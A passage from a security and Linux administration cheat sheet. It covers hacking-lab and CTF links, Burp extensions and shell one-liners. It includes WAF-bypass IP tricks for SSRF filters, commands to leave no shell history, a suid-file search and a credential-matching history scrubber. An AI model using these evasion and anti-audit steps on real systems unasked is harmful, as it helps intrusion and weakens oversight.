:small_orange_diamond: <a href="https://hacktrophy.com/en/"><b>Hacktrophy</b></a> - bug bounty platform.<br>
</p>
##### :black_small_square: Web Training Apps (local installation)
<p>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project"><b>OWASP-VWAD</b></a> - comprehensive and well maintained registry of all known vulnerable web applications.<br>
:small_orange_diamond: <a href="http://www.dvwa.co.uk/"><b>DVWA</b></a> - PHP/MySQL web application that is damn vulnerable.<br>
:small_orange_diamond: <a href="https://metasploit.help.rapid7.com/docs/metasploitable-2"><b>metasploitable2</b></a> - vulnerable web application amongst security researchers.<br>
:small_orange_diamond: <a href="https://github.com/rapid7/metasploitable3"><b>metasploitable3</b></a> - is a VM that is built from the ground up with a large amount of security vulnerabilities.<br>
:small_orange_diamond: <a href="https://github.com/stamparm/DSVW"><b>DSVW</b></a> - is a deliberately vulnerable web application written in under 100 lines of code.<br>
:small_orange_diamond: <a href="https://sourceforge.net/projects/mutillidae/"><b>OWASP Mutillidae II</b></a> - free, open source, deliberately vulnerable web-application.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Juice_Shop_Project"><b>OWASP Juice Shop Project</b></a> - the most bug-free vulnerable application in existence.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/Projects/OWASP_Node_js_Goat_Project"><b>OWASP Node js Goat Project</b></a> - OWASP Top 10 security risks apply to web apps developed using Node.js.<br>
:small_orange_diamond: <a href="https://github.com/iteratec/juicy-ctf"><b>juicy-ctf</b></a> - run Capture the Flags and Security Trainings with OWASP Juice Shop.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/SecurityShepherd"><b>SecurityShepherd</b></a> - web and mobile application security training platform.<br>
:small_orange_diamond: <a href="https://github.com/opendns/Security_Ninjas_AppSec_Training"><b>Security Ninjas</b></a> - open source application security training program.<br>
:small_orange_diamond: <a href="https://github.com/rapid7/hackazon"><b>hackazon</b></a> - a modern vulnerable web app.<br>
:small_orange_diamond: <a href="https://github.com/appsecco/dvna"><b>dvna</b></a> - damn vulnerable NodeJS application.<br>
:small_orange_diamond: <a href="https://github.com/DefectDojo/django-DefectDojo"><b>django-DefectDojo</b></a> - is an open-source application vulnerability correlation and security orchestration tool.<br>
:small_orange_diamond: <a href="https://google-gruyere.appspot.com/"><b>Google Gruyere</b></a> - web application exploits and defenses.<br>
:small_orange_diamond: <a href="https://github.com/amolnaik4/bodhi"><b>Bodhi</b></a> - is a playground focused on learning the exploitation of client-side web vulnerabilities.<br>
:small_orange_diamond: <a href="https://websploit.h4cker.org/"><b>Websploit</b></a> - single vm lab with the purpose of combining several vulnerable appliations in one environment.<br>
:small_orange_diamond: <a href="https://github.com/vulhub/vulhub"><b>vulhub</b></a> - pre-built Vulnerable Environments based on docker-compose.<br>
:small_orange_diamond: <a href="https://rhinosecuritylabs.com/aws/introducing-cloudgoat-2/"><b>CloudGoat 2</b></a> - the new & improved "Vulnerable by Design"
AWS deployment tool.<br>
:small_orange_diamond: <a href="https://github.com/globocom/secDevLabs"><b>secDevLabs</b></a> - is a laboratory for learning secure web development in a practical manner.<br>
:small_orange_diamond: <a href="https://github.com/incredibleindishell/CORS-vulnerable-Lab"><b>CORS-vulnerable-Lab</b></a> - sample vulnerable code and its exploit code.<br>
:small_orange_diamond: <a href="https://github.com/moloch--/RootTheBox"><b>RootTheBox</b></a> - a Game of Hackers (CTF Scoreboard & Game Manager).<br>
</p>
##### :black_small_square: Labs (ethical hacking platforms/trainings/CTFs)
<p>
:small_orange_diamond: <a href="https://www.offensive-security.com/"><b>Offensive Security</b></a> - true performance-based penetration testing training for over a decade.<br>
:small_orange_diamond: <a href="https://www.hackthebox.eu/"><b>Hack The Box</b></a> - online platform allowing you to test your penetration testing skills.<br>
:small_orange_diamond: <a href="https://www.hacking-lab.com/index.html"><b>Hacking-Lab</b></a> - online ethical hacking, computer network and security challenge platform.<br>
:small_orange_diamond: <a href="http://pwnable.kr/index.php"><b>pwnable.kr</b></a> - non-commercial wargame site which provides various pwn challenges.<br>
:small_orange_diamond: <a href="https://pwnable.tw/"><b>Pwnable.tw</b></a> - is a wargame site for hackers to test and expand their binary exploiting skills.<br>
:small_orange_diamond: <a href="https://picoctf.com/"><b>picoCTF</b></a> - is a free computer security game targeted at middle and high school students.<br>
:small_orange_diamond: <a href="https://ctflearn.com/"><b>CTFlearn</b></a> - is an online platform built to help ethical hackers learn and practice their cybersecurity knowledge.<br>
:small_orange_diamond: <a href="https://ctftime.org/"><b>ctftime</b></a> - CTF archive and a place, where you can get some another CTF-related info.<br>
:small_orange_diamond: <a href="https://silesiasecuritylab.com/"><b>Silesia Security Lab</b></a> - high quality security testing services.<br>
:small_orange_diamond: <a href="https://practicalpentestlabs.com/"><b>Practical Pentest Labs</b></a> - pentest lab, take your Hacking skills to the next level.<br>
:small_orange_diamond: <a href="https://www.root-me.org/?lang=en"><b>Root Me</b></a> - the fast, easy, and affordable way to train your hacking skills.<br>
:small_orange_diamond: <a href="https://rozwal.to/login"><b>rozwal.to</b></a> - a great platform to train your pentesting skills.<br>
:small_orange_diamond: <a href="https://tryhackme.com/"><b>TryHackMe</b></a> - learning Cyber Security made easy.<br>
:small_orange_diamond: <a href="https://hackxor.net/"><b>hackxor</b></a> - is a realistic web application hacking game, designed to help players of all abilities develop their skills.<br>
:small_orange_diamond: <a href="http://hack-yourself-first.com/"><b>Hack Yourself First</b></a> - it's full of nasty app sec holes.<br>
:small_orange_diamond: <a href="http://overthewire.org/wargames/"><b>OverTheWire</b></a> - can help you to learn and practice security concepts in the form of fun-filled games.<br>
:small_orange_diamond: <a href="https://labs.wizard-security.net/"><b>Wizard Labs</b></a> - is an online Penetration Testing Lab.<br>
:small_orange_diamond: <a href="https://pentesterlab.com/"><b>PentesterLab</b></a> - provides vulnerable systems that can be used to test and understand vulnerabilities.<br>
:small_orange_diamond: <a href="https://ringzer0ctf.com/"><b>RingZer0</b></a> - tons of challenges designed to test and improve your hacking skills.<br>
:small_orange_diamond: <a href="http://www.try2hack.nl/"><b>try2hack</b></a> - several security-oriented challenges for your entertainment.<br>
:small_orange_diamond: <a href="https://www.ubeeri.com/preconfig-labs"><b>Ubeeri</b></a> - preconfigured lab environments.<br>
:small_orange_diamond: <a href="https://lab.pentestit.ru/"><b>Pentestit</b></a> - emulate IT infrastructures of real companies for legal pen testing and improving pentest skills.<br>
:small_orange_diamond: <a href="https://microcorruption.com/login"><b>Microcorruption</b></a> - reversal challenges done in the web interface.<br>
:small_orange_diamond: <a href="https://crackmes.one/"><b>Crackmes</b></a> - download crackmes to help improve your reverse engineering skills.<br>
:small_orange_diamond: <a href="https://domgo.at/cxss/intro"><b>DomGoat</b></a> - DOM XSS security learning and practicing platform.<br>
:small_orange_diamond: <a href="https://chall.stypr.com"><b>Stereotyped Challenges</b></a> - upgrade your web hacking techniques today!<br>
:small_orange_diamond: <a href="https://www.vulnhub.com/"><b>Vulnhub</b></a> - allows anyone to gain practical 'hands-on' experience in digital security.<br>
:small_orange_diamond: <a href="https://w3challs.com/"><b>W3Challs</b></a> - is a penetration testing training platform, which offers various computer challenges.<br>
:small_orange_diamond: <a href="https://ringzer0ctf.com/challenges"><b>RingZer0 CTF</b></a> - offers you tons of challenges designed to test and improve your hacking skills.<br>
:small_orange_diamond: <a href="https://hack.me/"><b>Hack.me</b></a> - a platform where you can build, host and share vulnerable web apps for educational purposes.<br>
:small_orange_diamond: <a href="https://www.hackthis.co.uk/levels/"><b>HackThis!</b></a> - discover how hacks, dumps and defacements are performed and secure your website.<br>
:small_orange_diamond: <a href="https://www.enigmagroup.org/#"><b>Enigma Group WebApp Training</b></a> - these challenges cover the exploits listed in the OWASP Top 10 Project.<br>
:small_orange_diamond: <a href="https://challenges.re/"><b>Reverse Engineering Challenges</b></a> - challenges, exercises, problems and tasks - by level, by type, and more.<br>
:small_orange_diamond: <a href="https://0x00sec.org/"><b>0x00sec</b></a> - the home of the Hacker - Malware, Reverse Engineering, and Computer Science.<br>
:small_orange_diamond: <a href="https://www.wechall.net/challs"><b>We Chall</b></a> - there are exist a lots of different challenge types.<br>
:small_orange_diamond: <a href="https://www.hackergateway.com/"><b>Hacker Gateway</b></a> - is the go-to place for hackers who want to test their skills.<br>
:small_orange_diamond: <a href="https://www.hacker101.com/"><b>Hacker101</b></a> - is a free class for web security.<br>
:small_orange_diamond: <a href="https://contained.af/"><b>contained.af</b></a> - a stupid game for learning about containers, capabilities, and syscalls.<br>
:small_orange_diamond: <a href="http://flaws.cloud/"><b>flAWS challenge!</b></a> - a series of levels you'll learn about common mistakes and gotchas when using AWS.<br>
:small_orange_diamond: <a href="https://cybersecurity.wtf"><b>CyberSec WTF</b></a> - provides web hacking challenges derived from bounty write-ups.<br>
:small_orange_diamond: <a href="https://ctfchallenge.co.uk/login"><b>CTF Challenge</b></a> - CTF Web App challenges.<br>
:small_orange_diamond: <a href="https://capturetheflag.withgoogle.com"><b>gCTF</b></a> - most of the challenges used in the Google CTF 2017.<br>
:small_orange_diamond: <a href="https://www.hackthissite.org/pages/index/index.php"><b>Hack This Site</b></a> - is a free, safe and legal training ground for hackers.<br>
:small_orange_diamond: <a href="https://attackdefense.com"><b>Attack & Defense</b></a> - is a browser-based cloud labs.<br>
:small_orange_diamond: <a href="https://cryptohack.org/"><b>Cryptohack</b></a> - a fun platform for learning modern cryptography.<br>
</p>
##### :black_small_square: CTF platforms
<p>
:small_orange_diamond: <a href="https://github.com/facebook/fbctf"><b>fbctf</b></a> - platform to host Capture the Flag competitions.<br>
:small_orange_diamond: <a href="https://github.com/google/ctfscoreboard"><b>ctfscoreboard</b></a> - scoreboard for Capture The Flag competitions.<br>
</p>
##### :black_small_square: Other resources
<p>
:small_orange_diamond: <a href="https://github.com/bugcrowd/bugcrowd_university"><b>Bugcrowd University</b></a> - open source education content for the researcher community.<br>
:small_orange_diamond: <a href="https://github.com/rewardone/OSCPRepo"><b>OSCPRepo</b></a> - a list of resources and scripts that I have been gathering in preparation for the OSCP.<br>
:small_orange_diamond: <a href="https://medium.com/@cxosmo/owasp-top-10-real-world-examples-part-1-a540c4ea2df5"><b>OWASP Top 10: Real-World Examples</b></a> - test your web apps with real-world examples (two-part series).<br>
:small_orange_diamond: <a href="http://phrack.org/index.html"><b>phrack.org</b></a> - an awesome collection of articles from several respected hackers and other thinkers.<br>
:small_orange_diamond: <a href="https://github.com/Gr1mmie/Practical-Ethical-Hacking-Resources"><b>Practical-Ethical-Hacking-Resources</b></a> - compilation of resources from TCM's Udemy Course.<br>
</p>
#### Your daily knowledge and news [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: RSS Readers
<p>
:small_orange_diamond: <a href="https://feedly.com/"><b>Feedly</b></a> - organize, read and share what matters to you.<br>
:small_orange_diamond: <a href="https://www.inoreader.com/"><b>Inoreader</b></a> - similar to feedly with a support for filtering what you fetch from rss.<br>
</p>
##### :black_small_square: IRC Channels
<p>
:small_orange_diamond: <a href="https://wiki.hackerspaces.org/IRC_Channel"><b>#hackerspaces</b></a> - hackerspace IRC channels.<br>
</p>
##### :black_small_square: Security
<p>
:small_orange_diamond: <a href="https://thehackernews.com/"><b>The Hacker News</b></a> - leading news source dedicated to promoting awareness for security experts and hackers.<br>
:small_orange_diamond: <a href="https://latesthackingnews.com/"><b>Latest Hacking News</b></a> - provides the latest hacking news, exploits and vulnerabilities for ethical hackers.<br>
:small_orange_diamond: <a href="https://securitynewsletter.co/"><b>Security Newsletter</b></a> - security news as a weekly digest (email notifications).<br>
:small_orange_diamond: <a href="https://security.googleblog.com/"><b>Google Online Security Blog</b></a> - the latest news and insights from Google on security and safety on the Internet.<br>
:small_orange_diamond: <a href="https://blog.qualys.com/"><b>Qualys Blog</b></a> - expert network security guidance and news.<br>
:small_orange_diamond: <a href="https://www.darkreading.com/"><b>DARKReading</b></a> - connecting the Information Security Community.<br>
:small_orange_diamond: <a href="https://www.darknet.org.uk/"><b>Darknet</b></a> - latest hacking tools, hacker news, cybersecurity best practices, ethical hacking & pen-testing.<br>
:small_orange_diamond: <a href="https://twitter.com/disclosedh1"><b>publiclyDisclosed</b></a> - public disclosure watcher who keeps you up to date about the recently disclosed bugs.<br>
:small_orange_diamond: <a href="https://www.reddit.com/r/hacking/"><b>Reddit - Hacking</b></a> - a subreddit dedicated to hacking and hackers.<br>
:small_orange_diamond: <a href="https://packetstormsecurity.com/"><b>Packet Storm</b></a> - information security services, news, files, tools, exploits, advisories and whitepapers.<br>
:small_orange_diamond: <a href="https://sekurak.pl/"><b>Sekurak</b></a> - about security, penetration tests, vulnerabilities and many others (PL/EN).<br>
:small_orange_diamond: <a href="https://nfsec.pl/"><b>nf.sec</b></a> - basic aspects and mechanisms of Linux operating system security (PL).<br>
</p>
##### :black_small_square: Other/All-in-one
<p>
:small_orange_diamond: <a href="https://changelog.com/"><b>Changelog</b></a> - is a community of hackers; news & podcasts for developers and hackers.<br>
</p>
#### Other Cheat Sheets [<sup>[TOC]</sup>](#anger-table-of-contents)
###### Build your own DNS Servers
<p>
:small_orange_diamond: <a href="https://calomel.org/unbound_dns.html"><b>Unbound DNS Tutorial</b></a> - a validating, recursive, and caching DNS server.<br>
:small_orange_diamond: <a href="https://www.ctrl.blog/entry/knot-dns-resolver-tutorial.html"><b>Knot Resolver on Fedora</b></a> - how to get faster and more secure DNS resolution with Knot Resolver on Fedora.<br>
:small_orange_diamond: <a href="https://www.aaflalo.me/2018/10/tutorial-setup-dns-over-https-server/"><b>DNS-over-HTTPS</b></a> - tutorial to setup your own DNS-over-HTTPS (DoH) server.<br>
:small_orange_diamond: <a href="https://hacks.mozilla.org/2018/05/a-cartoon-intro-to-dns-over-https/"><b>dns-over-https</b></a> - a cartoon intro to DNS over HTTPS.<br>
:small_orange_diamond: <a href="https://www.aaflalo.me/2019/03/dns-over-tls/"><b>DNS-over-TLS</b></a> - following to your DoH server, setup your DNS-over-TLS (DoT) server.<br>
:small_orange_diamond: <a href="https://zwischenzugs.com/2018/01/26/how-and-why-i-run-my-own-dns-servers/"><b>DNS Servers</b></a> - how (and why) i run my own DNS Servers.<br>
</p>
###### Build your own Certificate Authority
<p>
:small_orange_diamond: <a href="https://jamielinux.com/docs/openssl-certificate-authority/"><b>OpenSSL Certificate Authority</b></a> - build your own certificate authority (CA) using the OpenSSL tools.<br>
:small_orange_diamond: <a href="https://github.com/smallstep/certificates"><b>step-ca Certificate Authority</b></a> - build your own certificate authority (CA) using open source step-ca.<br>
</p>
###### Build your own System/Virtual Machine
<p>
:small_orange_diamond: <a href="https://github.com/cfenollosa/os-tutorial"><b>os-tutorial</b></a> - how to create an OS from scratch.<br>
:small_orange_diamond: <a href="https://justinmeiners.github.io/lc3-vm/"><b>Write your Own Virtual Machine</b></a> - how to write your own virtual machine (VM).<br>
:small_orange_diamond: <a href="https://github.com/cirosantilli/x86-bare-metal-examples"><b>x86 Bare Metal Examples</b></a> - dozens of minimal operating systems to learn x86 system programming.<br>
:small_orange_diamond: <a href="https://github.com/djhworld/simple-computer"><b>simple-computer</b></a> - the scott CPU from "But How Do It Know?" by J. Clark Scott.<br>
</p>
###### DNS Servers list (privacy)
| <b><u>IP</u></b> | <b><u>URL</u></b> |
| :--- | :--- |
| **`84.200.69.80`** | [dns.watch](https://dns.watch/) |
| **`94.247.43.254`** | [opennic.org](https://www.opennic.org/) |
| **`64.6.64.6`** | [verisign.com](https://www.verisign.com/en_US/security-services/public-dns/index.xhtml) |
| **`89.233.43.71`** | [censurfridns.dk](https://blog.uncensoreddns.org/) |
| **`1.1.1.1`** | [cloudflare.com](https://1.1.1.1/) |
| **`94.130.110.185`** | [dnsprivacy.at](https://dnsprivacy.at/) |
###### TOP Browser extensions
| <b><u>Extension name</u></b> | <b><u>Description</u></b> |
| :--- | :--- |
| **`IPvFoo`** | Display the server IP address and HTTPS information across all page elements. |
| **`FoxyProxy`** | Simplifies configuring browsers to access proxy-servers. |
| **`HTTPS Everywhere`** | Automatically use HTTPS security on many sites. |
| **`uMatrix`** | Point & click to forbid/allow any class of requests made by your browser. |
| **`uBlock Origin`** | An efficient blocker: easy on memory and CPU footprint. |
| **`Session Buddy`** | Manage browser tabs and bookmarks with ease. |
| **`SuperSorter`** | Sort bookmarks recursively, delete duplicates, merge folders, and more. |
| **`Clear Cache`** | Clear your cache and browsing data. |
| **`d3coder`** | Encoding/Decoding plugin for various types of encoding. |
| **`Web Developer`** | Adds a toolbar button with various web developer tools. |
| **`ThreatPinch Lookup`** | Add threat intelligence hover tool tips. |
###### TOP Burp extensions
| <b><u>Extension name</u></b> | <b><u>Description</u></b> |
| :--- | :--- |
| **`Active Scan++`** | Extends Burp's active and passive scanning capabilities. |
| **`Autorize`** | Automatically detects authorization enforcement. |
| **`AuthMatrix`** | A simple matrix grid to define the desired levels of access privilege. |
| **`Logger++`** | Logs requests and responses for all Burp tools in a sortable table. |
| **`Bypass WAF`** | Adds headers useful for bypassing some WAF devices. |
| **`JSON Beautifier`** | Beautifies JSON content in the HTTP message viewer. |
| **`JSON Web Tokens`** | Enables Burp to decode and manipulate JSON web tokens. |
| **`CSP Auditor`** | Displays CSP headers for responses, and passively reports CSP weaknesses. |
| **`CSP-Bypass`** | Passively scans for CSP headers that contain known bypasses. |
| **`Hackvertor`** | Converts data using a tag-based configuration to apply various encoding. |
| **`HTML5 Auditor`** | Scans for usage of risky HTML5 features. |
| **`Software Vulnerability Scanner`** | Vulnerability scanner based on vulners.com audit API. |
| **`Turbo Intruder`** | Is a powerful bruteforcing tool. |
| **`Upload Scanner`** | Upload a number of different file types, laced with different forms of payload. |
###### Hack Mozilla Firefox address bar
In Firefox's address bar, you can limit results by typing special characters before or after your term:
- `^` - for matches in your browsing history
- `*` - for matches in your bookmarks.
- `%` - for matches in your currently open tabs.
- `#` - for matches in page titles.
- `@` - for matches in web addresses.
###### Chrome hidden commands
- `chrome://chrome-urls` - list of all commands
- `chrome://flags` - enable experiments and development features
- `chrome://interstitials` - errors and warnings
- `chrome://net-internals` - network internals (events, dns, cache)
- `chrome://network-errors` - network errors
- `chrome://net-export` - start logging future network activity to a file
- `chrome://safe-browsing` - safe browsing options
- `chrome://user-actions` - record all user actions
- `chrome://restart` - restart chrome
- `chrome://dino` - ERR_INTERNET_DISCONNECTED...
- `cache:<website-address>` - view the cached version of the web page
###### Bypass WAFs by Shortening IP Address (by [0xInfection](https://twitter.com/0xInfection))
IP addresses can be shortened by dropping the zeroes:
```
http://1.0.0.1 → http://1.1
http://127.0.0.1 → http://127.1
http://192.168.0.1 → http://192.168.1
http://0xC0A80001 or http://3232235521 → 192.168.0.1
http://192.168.257 → 192.168.1.1
http://192.168.516 → 192.168.2.4
```
> This bypasses WAF filters for SSRF, open-redirect, etc where any IP as input gets blacklisted.
For more information please see [How to Obscure Any URL](http://www.pc-help.org/obscure.htm) and [Magic IP Address Shortcuts](https://stuff-things.net/2014/09/25/magic-ip-address-shortcuts/).
#### One-liners [<sup>[TOC]</sup>](#anger-table-of-contents)
##### Table of Contents
* [terminal](#tool-terminal)
* [busybox](#tool-busybox)
* [mount](#tool-mount)
* [fuser](#tool-fuser)
* [lsof](#tool-lsof)
* [ps](#tool-ps)
* [top](#tool-top)
* [vmstat](#tool-vmstat)
* [iostat](#tool-iostat)
* [strace](#tool-strace)
* [kill](#tool-kill)
* [find](#tool-find)
* [diff](#tool-diff)
* [vimdiff](#tool-vimdiff)
* [tail](#tool-tail)
* [cpulimit](#tool-cpulimit)
* [pwdx](#tool-pwdx)
* [tr](#tool-tr)
* [chmod](#tool-chmod)
* [who](#tool-who)
* [last](#tool-last)
* [screen](#tool-screen)
* [script](#tool-script)
* [du](#tool-du)
* [inotifywait](#tool-inotifywait)
* [openssl](#tool-openssl)
* [secure-delete](#tool-secure-delete)
* [dd](#tool-dd)
* [gpg](#tool-gpg)
* [system-other](#tool-system-other)
* [curl](#tool-curl)
* [httpie](#tool-httpie)
* [ssh](#tool-ssh)
* [linux-dev](#tool-linux-dev)
* [tcpdump](#tool-tcpdump)
* [tcpick](#tool-tcpick)
* [ngrep](#tool-ngrep)
* [hping3](#tool-hping3)
* [nmap](#tool-nmap)
* [netcat](#tool-netcat)
* [socat](#tool-socat)
* [p0f](#tool-p0f)
* [gnutls-cli](#tool-gnutls-cli)
* [netstat](#tool-netstat)
* [rsync](#tool-rsync)
* [host](#tool-host)
* [dig](#tool-dig)
* [certbot](#tool-certbot)
* [network-other](#tool-network-other)
* [git](#tool-git)
* [awk](#tool-awk)
* [sed](#tool-sed)
* [grep](#tool-grep)
* [perl](#tool-perl)
##### Tool: [terminal](https://en.wikipedia.org/wiki/Linux_console)
###### Reload shell without exit
```bash
exec $SHELL -l
```
###### Close shell keeping all subprocess running
```bash
disown -a && exit
```
###### Exit without saving shell history
```bash
kill -9 $$
unset HISTFILE && exit
```
###### Perform a branching conditional
```bash
true && echo success
false || echo failed
```
###### Pipe stdout and stderr to separate commands
```bash
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
```
###### Redirect stdout and stderr each to separate files and print both to the screen
```bash
(some_command 2>&1 1>&3 | tee errorlog ) 3>&1 1>&2 | tee stdoutlog
```
###### List of commands you use most often
```bash
history | \
awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | \
grep -v "./" | \
column -c3 -s " " -t | \
sort -nr | nl | head -n 20
```
###### Sterilize bash history
```bash
function sterile() {
history | awk '$2 != "history" { $1=""; print $0 }' | egrep -vi "\
curl\b+.*(-E|--cert)\b+.*\b*|\
curl\b+.*--pass\b+.*\b*|\
curl\b+.*(-U|--proxy-user).*:.*\b*|\
curl\b+.*(-u|--user).*:.*\b*
.*(-H|--header).*(token|auth.*)\b+.*|\
wget\b+.*--.*password\b+.*\b*|\
http.?://.+:.+@.*\
" > $HOME/histbuff; history -r $HOME/histbuff;
}
export PROMPT_COMMAND="sterile"
```
> Look also: [A naive utility to censor credentials in command history](https://github.com/lbonanomi/go/blob/master/revisionist.go).
###### Quickly backup a file
```bash
cp filename{,.orig}
```
###### Empty a file (truncate to 0 size)
```bash
>filename
```
###### Delete all files in a folder that don't match a certain file extension
```bash
rm !(*.foo|*.bar|*.baz)
```
###### Pass multi-line string to a file
```bash
# cat >filename ... - overwrite the file
# cat >>filename ... - append to a file
cat > filename << __EOF__
data data data
__EOF__
```
###### Edit a file on a remote host using vim
```bash
vim scp://user@host//etc/fstab
```
###### Create a directory and change into it at the same time
```bash
mkd() { mkdir -p "$@" && cd "$@"; }
```
###### Convert uppercase files to lowercase files
```bash
rename 'y/A-Z/a-z/' *
```
###### Print a row of characters across the terminal
```bash
printf "%`tput cols`s" | tr ' ' '#'
```
###### Show shell history without line numbers
```bash
history | cut -c 8-
fc -l -n 1 | sed 's/^\s*//'
```
###### Run command(s) after exit session
```bash
cat > /etc/profile << __EOF__
_after_logout() {
username=$(whoami)
for _pid in $(ps afx | grep sshd | grep "$username" | awk '{print $1}') ; do
kill -9 $_pid
done
}
trap _after_logout EXIT
__EOF__
```
###### Generate a sequence of numbers
```bash
for ((i=1; i<=10; i+=2)) ; do echo $i ; done
# alternative: seq 1 2 10
for ((i=5; i<=10; ++i)) ; do printf '%02d\n' $i ; done
# alternative: seq -w 5 10
for i in {1..10} ; do echo $i ; done
```
###### Simple Bash filewatching
```bash
unset MAIL; export MAILCHECK=1; export MAILPATH='$FILE_TO_WATCH?$MESSAGE'
```
---
##### Tool: [busybox](https://www.busybox.net/)
###### Static HTTP web server
```bash
busybox httpd -p $PORT -h $HOME [-c httpd.conf]
```
___
##### Tool: [mount](https://en.wikipedia.org/wiki/Mount_(Unix))
###### Mount a temporary ram partition
```bash
mount -t tmpfs tmpfs /mnt -o size=64M
```
* `-t` - filesystem type
* `-o` - mount options
###### Remount a filesystem as read/write
```bash
mount -o remount,rw /
```
___
##### Tool: [fuser](https://en.wikipedia.org/wiki/Fuser_(Unix))
###### Show which processes use the files/directories
```bash
fuser /var/log/daemon.log
fuser -v /home/supervisor
```
###### Kills a process that is locking a file
```bash
fuser -ki filename
```
* `-i` - interactive option
###### Kills a process that is locking a file with specific signal
```bash
fuser -k -HUP filename
```
* `--list-signals` - list available signal names
###### Show what PID is listening on specific port
```bash
fuser -v 53/udp
```
###### Show all processes using the named filesystems or block device
```bash
fuser -mv /var/www
```
___
##### Tool: [lsof](https://en.wikipedia.org/wiki/Lsof)
###### Show process that use internet connection at the moment
```bash
lsof -P -i -n
```
###### Show process that use specific port number
```bash
lsof -i tcp:443
```
###### Lists all listening ports together with the PID of the associated process
```bash
lsof -Pan -i tcp -i udp
```
###### List all open ports and their owning executables
```bash
lsof -i -P | grep -i "listen"
```
###### Show all open ports
```bash
lsof -Pnl -i
```
###### Show open ports (LISTEN)
```bash
lsof -Pni4 | grep LISTEN | column -t
```
###### List all files opened by a particular command
```bash
lsof -c "process"
```
###### View user activity per directory
```bash
lsof -u username -a +D /etc
```
###### Show 10 largest open files
```bash
lsof / | \
awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " " $1 }' | \
sort -n -u | tail | column -t
```
###### Show current working directory of a process
```bash
lsof -p <PID> | grep cwd
```
___
##### Tool: [ps](https://en.wikipedia.org/wiki/Ps_(Unix))
###### Show a 4-way scrollable process tree with full details
```bash
ps awwfux | less -S
```
###### Processes per user counter
```bash
ps hax -o user | sort | uniq -c | sort -r
```
###### Show all processes by name with main header
```bash
ps -lfC nginx
```
___
##### Tool: [find](https://en.wikipedia.org/wiki/Find_(Unix))
###### Find files that have been modified on your system in the past 60 minutes
```bash
find / -mmin 60 -type f
```
###### Find all files larger than 20M
```bash
find / -type f -size +20M
```
###### Find duplicate files (based on MD5 hash)
```bash
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33
```
###### Change permission only for files
```bash
cd /var/www/site && find . -type f -exec chmod 766 {} \;
cd /var/www/site && find . -type f -exec chmod 664 {} +
```
###### Change permission only for directories
```bash
cd /var/www/site && find . -type d -exec chmod g+x {} \;
cd /var/www/site && find . -type d -exec chmod g+rwx {} +
```
###### Find files and directories for specific user/group
```bash
# User:
find . -user <username> -print
find /etc -type f -user <username> -name "*.conf"
# Group:
find /opt -group <group>
find /etc -type f -group <group> -iname "*.conf"
```
###### Find files and directories for all without specific user/group
```bash
# User:
find . \! -user <username> -print
# Group:
find . \! -group <group>
```
###### Looking for files/directories that only have certain permission
```bash
# User
find . -user <username> -perm -u+rw # -rw-r--r--
find /home -user $(whoami) -perm 777 # -rwxrwxrwx
# Group:
find /home -type d -group <group> -perm 755 # -rwxr-xr-x
```
###### Delete older files than 60 days
```bash
find . -type f -mtime +60 -delete
```
###### Recursively remove all empty sub-directories from a directory
```bash
find . -depth -type d -empty -exec rmdir {} \;
```
###### How to find all hard links to a file
```bash
find </path/to/dir> -xdev -samefile filename
```
###### Recursively find the latest modified files
```bash
find . -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head
```
###### Recursively find/replace of a string with sed
```bash
find . -not -path '*/\.git*' -type f -print0 | xargs -0 sed -i 's/foo/bar/g'
```
###### Recursively find/replace of a string in directories and file names
```bash
find . -depth -name '*test*' -execdir bash -c 'mv -v "$1" "${1//foo/bar}"' _ {} \;
```
###### Recursively find suid executables
```bash
find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \;
```
___
##### Tool: [top](https://en.wikipedia.org/wiki/Top_(software))
###### Use top to monitor only all processes with the specific string
```bash
top -p $(pgrep -d , <str>)
```
* `<str>` - process containing string (eg. nginx, worker)
___
##### Tool: [vmstat](https://en.wikipedia.org/wiki/Vmstat)
###### Show current system utilization (fields in kilobytes)
```bash
vmstat 2 20 -t -w
```
* `2` - number of times with a defined time interval (delay)
* `20` - each execution of the command (count)
* `-t` - show timestamp
* `-w` - wide output
* `-S M` - output of the fields in megabytes instead of kilobytes
###### Show current system utilization will get refreshed every 5 seconds
```bash
vmstat 5 -w
```
###### Display report a summary of disk operations
```bash
vmstat -D
```
###### Display report of event counters and memory stats
```bash
vmstat -s
```
###### Display report about kernel objects stored in slab layer cache
```bash
vmstat -m
```
##### Tool: [iostat](https://en.wikipedia.org/wiki/Iostat)
###### Show information about the CPU usage, and I/O statistics about all the partitions
```bash
iostat 2 10 -t -m
```
* `2` - number of times with a defined time interval (delay)
* `10` - each execution of the command (count)
* `-t` - show timestamp
* `-m` - fields in megabytes (`-k` - in kilobytes, default)
###### Show information only about the CPU utilization
```bash
iostat 2 10 -t -m -c
```
###### Show information only about the disk utilization
```bash
iostat 2 10 -t -m -d
```
###### Show information only about the LVM utilization
```bash
iostat -N
```
___
##### Tool: [strace](https://en.wikipedia.org/wiki/Strace)
###### Track with child processes
```bash
# 1)
strace -f -p $(pidof glusterfsd)
# 2)
strace -f $(pidof php-fpm | sed 's/\([0-9]*\)/\-p \1/g')
```
###### Track process with 30 seconds limit
```bash
timeout 30 strace $(< /var/run/zabbix/zabbix_agentd.pid)
```
###### Track processes and redirect output to a file
```bash
ps auxw | grep '[a]pache' | awk '{print " -p " $2}' | \
xargs strace -o /tmp/strace-apache-proc.out
```
###### Track with print time spent in each syscall and limit length of print strings
```bash
ps auxw | grep '[i]init_policy' | awk '{print " -p " $2}' | \
xargs strace -f -e trace=network -T -s 10000
```
###### Track the open request of a network port
```bash
strace -f -e trace=bind nc -l 80
```
###### Track the open request of a network port (show TCP/UDP)
```bash
strace -f -e trace=network nc -lu 80
```
___
##### Tool: [kill](https://en.wikipedia.org/wiki/Kill_(command))
###### Kill a process running on port
```bash
kill -9 $(lsof -i :<port> | awk '{l=$2} END {print l}')
```
___
##### Tool: [diff](https://en.wikipedia.org/wiki/Diff)
